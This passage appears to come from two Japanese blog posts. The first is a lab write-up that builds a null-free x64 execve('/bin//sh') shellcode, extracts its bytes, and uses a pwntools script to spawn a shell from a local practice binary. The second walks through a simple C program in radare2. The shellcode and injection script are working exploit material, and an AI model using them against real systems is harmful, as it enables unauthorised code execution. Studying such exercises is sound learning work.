push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp

execveの第2引数argvにはポインタのポインタを設定する必要があるため、/bin//shのアドレスが格納されているrdiをスタックにプッシュし、rspのアドレスをrsiに設定するようにしている。

push rax
push rdi
xor rsi,rsi
mov rsi, rsp

execveの第3引数にはヌルポインタを設定する必要があるので、ヌル文字が混入しないようにxor0にする。

xor rdx,rdx

syscall命令を使用する。

mov al,0x3b
syscall

最終的なアセンブラコードはこのようになる。

global _start
_start:
xor rdi,rdi
xor rax,rax
push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp
push rax
push rdi
xor rsi,rsi
mov rsi, rsp
xor rdx,rdx
mov al,0x3b
syscall

バイナリ作成

コンパイル、リンクして実行ファイルを生成。

nasm -f elf64 shell.asm 
ld -o shellcode.out shell.o

シェルコード抽出

最後に、作成した実行ファイルから機械語を抽出する。
※ ヌルコード(0x00)が入っていないことを確認する

(objdump -M intel -d shellcode.out | grep ' ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g')

#\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

シェルコード実行

脆弱性のある実行ファイルにシェルコードを送り込むにあたり、pwntoolsというライブラリが大変便利なため今回はこれを使う。 詳細は使い方は以下のサイトが大変わかりやすくまとまっているため参照する。

https://qiita.com/8ayac/items/12a3523394080e56ad5a

from pwn import *

context(os="linux", arch="amd64")

def main():
    shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

    conn = process("./shellcoder")
    conn.recvuntil("Are you shellcoder?")
    conn.send(shellcode)
    conn.interactive()

if __name__ == "__main__":
    main()

脆弱性のある実行ファイルに、作成したシェルコードをぶん投げる。

root@kali-linux:~/sandbox/pwn/0_shellcoder/lab# python attack.py 
[+] Starting local process './shellcoder': pid 10639
[*] Switching to interactive mode

$ ls
a.out    buf        core   shell.asm  shell.c_bk  shellcoder
ans.py    compile.sh  shell  shell.c    shell.o      xor.py
$ pwd
/root/sandbox/pwn/0_shellcoder/lab
$ quit
[*] Process './shellcoder' stopped with exit code 0 (pid 10639)
[*] Got EOF while sending in interactive

まとめ

自分でシェルコードを作成してみるまでは、\x48\x31\xffみたいな16進数の値をみるとなんでもASCII文字に変換しようとしてみたり、これをどうみたらアセンブラコードになるんだろう?みたいな愚行を色々と重ねた時期もあったが、理解が深まった今となっては懐かしい思い出。

前よりも、バイナリコードとの距離が近づいた気がする。

その他

今回は学習の一環でシェルコードを自力作成したが、EXPLOIT-DATABASEなどにもx64のシェルコードはあるので、検証等で利用する場合はこういうのを使った方が断然スマート。
www.exploit-db.com

バイナリアン入門 第二回(x64, Linux)

はじめに

第一回ではmain関数の中で引数なしのprintfを利用しただけなので、今回は関数呼び出しと可変長引数のprintfを使用して解析してみようと思う。

解析用コードの作成

引数を5つ貰う関数の呼び出しとその結果を出力する単純なコードを用意する。
また、アセンブラコードではローカル変数がどのように扱われるのかを確認するため、add関数内では敢えてsum変数を用意してみた。

#include <stdio.h>

int add(int a, int b, int c, int d, int e) {
    int sum = 0;
    sum = a + b + c + d + e;
    return sum;
}

int main(void)
{
    printf("sum = %d\n", add(1, 2, 3, 4, 0));
    return 0;
}

実行ファイルを作成する

gcc sample.c

実行ファイルの解析

Radare2を使って、バイナリを解析する。
Radare2は以前Twitterで知ったんだけど、結構使いやすくて重宝しそうな予感満載。

使い方は、このページがとても詳しい。
radare.gitbooks.io

何ができるか調べる分にはいいんだけど、詳しすぎてあれなので、解析する上で最低限必要そうなコマンドが紹介されているこのサイトが大変参考になりました。 www.bioerrorlog.work

r2 -d a.out
Process with PID 14020 started...
= attach 14020 14020
bin.baddr 0x5564c6ff6000
Using 0x5564c6ff6000
asm.bits 64
[0x7f7b5ad84090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7f7b5ad84090]> afl
0x5564c6ff7050    1 42           entry0
0x5564c6ff9fe0    1 4124         reloc.__libc_start_main
0x5564c6ff7080    4 41   -> 34   sym.deregister_tm_clones
0x5564c6ff70b0    4 57   -> 51   sym.register_tm_clones
0x5564c6ff70f0    5 57   -> 50   entry.fini0
0x5564c6ff7040    1 6            sym..plt.got
0x5564c6ff7130    1 5            entry.init0
0x5564c6ff7000    3 23           map.root_a.out.r_x
0x5564c6ff7210    1 1            sym.__libc_csu_fini
0x5564c6ff7135    1 58           sym.add
0x5564c6ff7214    1 9            sym._fini
0x5564c6ff71b0    4 93           sym.__libc_csu_init
0x5564c6ff716f    1 61           main
0x5564c6ff7030    1 6            sym.imp.printf
0x5564c6ff6000    3 404  -> 393  loc.imp._ITM_deregisterTMCloneTable
0x5564c6ff61aa    5 32   -> 55   fcn.5564c6ff61aa

[0x7f7b5ad84090]> s main
[0x5564c6ff716f]> pdf
/ (fcn) main 61
|   int main (int argc, char **argv, char **envp);
|           ; DATA XREF from entry0 @ 0x5564c6ff706d
|           0x5564c6ff716f      55             push rbp
|           0x5564c6ff7170      4889e5         mov rbp, rsp
|           0x5564c6ff7173      41b800000000   mov r8d, 0
|           0x5564c6ff7179      b904000000     mov ecx, 4
|           0x5564c6ff717e      ba03000000     mov edx, 3
|           0x5564c6ff7183      be02000000     mov esi, 2
|           0x5564c6ff7188      bf01000000     mov edi, 1
|           0x5564c6ff718d      e8a3ffffff     call sym.add
|           0x5564c6ff7192      89c6           mov esi, eax
|           0x5564c6ff7194      488d3d690e00.  lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
|           0x5564c6ff719b      b800000000     mov eax, 0
|           0x5564c6ff71a0      e88bfeffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5564c6ff71a5      b800000000     mov eax, 0
|           0x5564c6ff71aa      5d             pop rbp
\           0x5564c6ff71ab      c3             ret

[0x5564c6ff716f]> s sym.add
[0x5564c6ff7135]> pdf
/ (fcn) sym.add 58
|   sym.add (int32_t arg1, int32_t arg2, int32_t arg5, int32_t arg3, int32_t arg4);
|           ; var int32_t var_24h @ rbp-0x24
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_1ch @ rbp-0x1c
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_14h @ rbp-0x14
|           ; var int32_t var_4h @ rbp-0x4
|           ; arg int32_t arg1 @ rdi
|           ; arg int32_t arg2 @ rsi
|           ; arg int32_t arg5 @ r8
|           ; arg int32_t arg3 @ rdx
|           ; arg int32_t arg4 @ rcx
|           ; CALL XREF from main @ 0x5564c6ff718d
|           0x5564c6ff7135      55             push rbp
|           0x5564c6ff7136      4889e5         mov rbp, rsp
|           0x5564c6ff7139      897dec         mov dword [var_14h], edi ; arg1
|           0x5564c6ff713c      8975e8         mov dword [var_18h], esi ; arg2
|           0x5564c6ff713f      8955e4         mov dword [var_1ch], edx ; arg3
|           0x5564c6ff7142      894de0         mov dword [var_20h], ecx ; arg4
|           0x5564c6ff7145      448945dc       mov dword [var_24h], r8d ; arg5
|           0x5564c6ff7149      c745fc000000.  mov dword [var_4h], 0
|           0x5564c6ff7150      8b55ec         mov edx, dword [var_14h]
|           0x5564c6ff7153      8b45e8         mov eax, dword [var_18h]
|           0x5564c6ff7156      01c2           add edx, eax
|           0x5564c6ff7158      8b45e4         mov eax, dword [var_1ch]
|           0x5564c6ff715b      01c2           add edx, eax
|           0x5564c6ff715d      8b45e0         mov eax, dword [var_20h]
|           0x5564c6ff7160      01c2           add edx, eax
|           0x5564c6ff7162      8b45dc         mov eax, dword [var_24h]
|           0x5564c6ff7165      01d0           add eax, edx
|           0x5564c6ff7167      8945fc         mov dword [var_4h], eax
|           0x5564c6ff716a      8b45fc         mov eax, dword [var_4h]
|           0x5564c6ff716d      5d             pop rbp
\           0x5564c6ff716e      c3             ret

main関数の解析

main関数から読んでみる。

push rbp
mov rbp, rsp
mov r8d, 0
mov ecx, 4
mov edx, 3
mov esi, 2
mov edi, 1
call sym.add
mov esi, eax
lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)
mov eax, 0
pop rbp
ret

Function prologue

関数呼び出しをする際のお決まり(Function prologue)

push   rbp
mov    rbp,rsp

add関数への引数設定

add関数に渡すための値をレジスタに設定している。

引数の渡し方はx86-64のABIに準拠している。 どのABIか調べるにはIntelのサイトで「linux 64」などのキーワードで検索すると、該当するPDFが見つかると思う。
関数呼び出しに関する決まりごとは23ページのFigure 3.4: Register Usageに記載がある。

%rdi used to pass 1st argument to functions
%rsi used to pass 2nd argument to functions
%rdx used to pass 3rd argument to functions; 2nd return
%rcx used to pass 4th integer argument to functions
%r8 used to pass 5th argument to functions
%r9 used to pass 6th argument to functions

mov r8d, 0
mov ecx, 4
mov edx, 3
mov esi, 2
mov edi, 1

add関数呼び出し

call sym.add

printfへの引数設定

printf関数に渡すための値をレジスタに設定している。

第一引数のrdiにはフォーマットとなる文字列のアドレスを設定し、第二引数のesiにはsum = %d\nの一つ目の%dに表示するための合計値を格納している(戻り値はeaxに格納される)

mov eax, 0命令は、今まで見てきた引数渡しのパターンに当てはまらないため調べてみると、printfの引数がベクトルレジスタ浮動小数点)を必要とする場合、その数を設定する必要があるらしい。今回は整数型なので0を設定している。

ここに関しては、PDFの55ページ3.5.7 Variable Argument Listsで説明されている。

When a function taking variable-arguments is called, %rax must be set to the total number of floating point parameters passed to the function in vector registers.

mov esi, eax
lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

main()終了

main関数の戻り値としてeaxに0を設定し、スタックに積んでいたベースポインタの値をrbpにポップ(Function epilogue)してきたらretでmain関数を終了する。

mov eax, 0
pop rbp
ret   

add関数の解析

次にadd関数内の処理を読んでみる。

push rbp
mov rbp, rsp
mov dword [var_14h], edi ; arg1
mov dword [var_18h], esi ; arg2
mov dword [var_1ch], edx ; arg3
mov dword [var_20h], ecx ; arg4
mov dword [var_24h], r8d ; arg5
mov dword [var_4h], 0
mov edx, dword [var_14h]
mov eax, dword [var_18h]
add edx, eax
mov eax, dword [var_1ch]
add edx, eax
mov eax, dword [var_20h]
add edx, eax
mov eax, dword [var_24h]
add eax, edx
mov dword [var_4h], eax
mov eax, dword [var_4h]
pop rbp
ret

関数呼び出しをする際のお決まり(Function prologue)

push rbp
mov rbp, rsp

コールスタックに引数を格納

渡された引数をコールスタックに格納している。

なぜ[rbp-0x14]という中途半端な場所からスタートしているのか調べてみると、「アライメント境界」というのが関係しているらしいが、よくわからなかったのでそのまま進める。

mov dword [var_14h], edi ; arg1
mov dword [var_18h], esi ; arg2
mov dword [var_1ch], edx ; arg3
mov dword [var_20h], ecx ; arg4
mov dword [var_24h], r8d ; arg5

sum変数初期化

変数領域sum0で初期化する。

mov dword [var_4h], 0

引数の合計値を求める

渡された引数1から引数5までの値を足している。

mov edx, dword [var_14h]
mov eax, dword [var_18h]
add edx, eax
mov eax, dword [var_1ch]
add edx, eax
mov eax, dword [var_20h]
add edx, eax
mov eax, dword [var_24h]
add eax, edx

sum変数に結果を格納

足し算の結果を変数sumに当たるアドレス[rbp-0x4]に格納し、戻り値としてeaxレジスタに値を格納する。

mov dword [var_4h], eax
mov eax, dword [var_4h]

add関数終了

add関数の戻り値としてeaxに0を設定し、スタックに積んでいたベースポインタの値をrbpにポップ(Function epilogue)してきたらretでmain関数に戻る。

pop rbp
ret 

まとめ

雑にサクサクと読んでいったけど、関数呼び出しを含めた基礎の基礎の部分をふんわりと触れた。